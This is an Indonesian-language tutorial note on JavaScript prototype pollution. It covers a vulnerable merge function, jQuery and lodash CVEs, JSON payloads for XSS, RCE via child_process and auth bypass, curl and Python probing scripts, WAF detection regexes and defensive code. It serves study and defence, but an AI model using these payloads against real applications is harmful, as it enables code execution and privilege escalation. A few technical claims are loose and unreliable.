Ringkasan

Prototype Pollution adalah kerentanan JavaScript di mana attacker menyisipkan properti ke Object.prototype — yang kemudian diwarisi oleh semua objek di runtime. Ini bisa menyebabkan RCE, XSS, denial of service, atau privilege escalation tergantung bagaimana aplikasi menggunakan properti yang terkontaminasi. Banyak library JavaScript populer (jQuery, lodash, express) pernah memiliki kerentanan ini.

Cross-link: web-securityapi-security-deep-divebrowser-security-exploitation-deepdiveweb-hacking-exploitation


Daftar Isi


1. JavaScript Prototype Mechanism

Setiap objek JavaScript memiliki __proto__ yang merujuk ke prototype class-nya. Jika __proto__ dimodifikasi, semua objek yang dibuat dari class yang sama akan mewarisi modifikasi tersebut.

// Normal object
let obj = { a: 1, b: 2 }
 
// Prototype pollution
obj.__proto__.admin = true
// atau
Object.prototype.admin = true
 
// Sekarang SEMUA objek punya admin: true
let empty = {}
console.log(empty.admin) // true!

Prototype Chain

obj → Object.prototype → null
arr → Array.prototype → Object.prototype → null
func → Function.prototype → Object.prototype → null

Jika Object.prototype di-pollute, semua objek terpengaruh.


2. Attack Vectors — Merge/Assign/Clone

Vulnerable Patterns

// ❌ Recursive merge — pola paling umum
function merge(target, source) {
  for (let key in source) {
    if (isObject(source[key])) {
      if (!target[key]) target[key] = {}
      merge(target[key], source[key])
    } else {
      target[key] = source[key]
    }
  }
}
 
// Exploit: merge({}, JSON.parse('{"__proto__": {"polluted": true}}'))
// → Object.prototype.polluted = true

Common Vulnerable Functions

LibraryFungsiCVE
jQuery$.extend(true, {}, input)CVE-2019-11358
lodash_.defaultsDeep({}, input)CVE-2019-10744
Expressbody-parser JSON parsing
Socket.iosocket.io parser

Payload Vectors

// Via JSON body
POST /api/users
Content-Type: application/json
 
{"__proto__": {"admin": true}}
 
// Via nested path
{"constructor": {"prototype": {"admin": true}}}
 
// Via array index
{"__proto__": {"0": "polluted"}}

3. Exploitation Scenarios

XSS via Prototype Pollution

// Pollute innerHTML default
{ "__proto__": { "innerHTML": "<img src=x onerror=alert(1)>" } }
 
// Jika aplikasi render objek tanpa sanitasi
// → objek apapun yang di-render akan memiliki innerHTML jahat

RCE via PP + template

// Jika aplikasi menggunakan template string dengan eval
// Pollution bisa inject code
 
{"__proto__": {"_template": "global.process.mainModule.require('child_process').execSync('id')"}}

Auth Bypass

// Pollute default auth state
{"__proto__": {"authenticated": true, "role": "admin"}}
 
// Sekarang semua objek user dianggap authenticated

4. Server-Side Prototype Pollution

Server-side PP lebih berbahaya karena bisa RCE.

Express Body Parser

// Express body-parser JSON parsing
app.use(bodyParser.json()) // ← vulnerable jika tidak dibatasi depth
 
// Payload:
// POST /api {"__proto__": {"admin": true}}
// → Object.prototype.admin = true

Vulnerability Detection

# Cek apakah app vulnerable
curl -X POST http://target.com/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"test": true}}'
 
# Cek apakah pollution berhasil
curl http://target.com/api/check
# Jika response mengandung "test": true → vulnerable

5. Tools & Automation

ToolFungsi
PPFuzzAutomated prototype pollution fuzzing
Burp ScannerDeteksi PP via passive/active scan
Server-Side PP ScannerAuto-detect server-side PP
Custom Node.jsManual testing via script

Manual Testing

import requests
 
# Test POST merge
payloads = [
    '{"__proto__": {"polluted": true}}',
    '{"constructor": {"prototype": {"polluted": true}}}',
    '[{"__proto__": {"polluted": true}}]',
    '{"__proto__": {"0": "polluted"}}',
    '{"a": {"__proto__": {"polluted": true}}}',
]
 
base_url = "http://target.com/api"
 
for p in payloads:
    r = requests.post(base_url, json=p)
    # Cek response atau side-effect

6. WAF Detection Rules

// src/rules/body.rs — Prototype Pollution Detection
static PROTO_POLLUTE_JSON: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#""__proto__"\s*:"#).unwrap()
});
 
static PROTO_POLLUTE_CONSTRUCTOR: Lazy<Regex> = Lazy::new(|| {
    Regex::new(r#""constructor"\s*:\s*\{[^}]*"prototype""#).unwrap()
});

Aturan di CRS

# OWASP CRS: REQUEST-933-APPLICATION-ATTACK-PHP.conf
# PHP juga punya prototype-like attack (stdClass)

7. Defense Strategy

DefenseImplementasi
Sanitasi inputStrip __proto__, constructor, prototype dari input
Immutable mergeGunakan Object.assign atau spread operator (tidak recursive)
JSON.parse reviverCustom reviver untuk reject prototype keys
Schema validasiValidasi struktur input sebelum merge
Map instead of ObjectGunakan Map untuk key-value storage
Object.create(null)Objek tanpa prototype chain

Safe JSON Parse

// Safe reviver — reject prototype pollution
function safeJSONParse(str) {
  return JSON.parse(str, (key, value) => {
    if (key === "__proto__" || key === "constructor") {
      throw new Error("Prototype pollution detected")
    }
    return value
  })
}

Safe Merge

function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (key === "__proto__" || key === "constructor") continue
    if (isObject(source[key])) {
      target[key] = safeMerge(target[key] || {}, source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

8. Referensi

  • PayloadsAllTheThings: /mnt/data_d/Projects/Reference/PayloadsAllTheThings/Prototype Pollution/
  • OWASP: Prototype Pollution Prevention Cheat Sheet

Cross-link vault: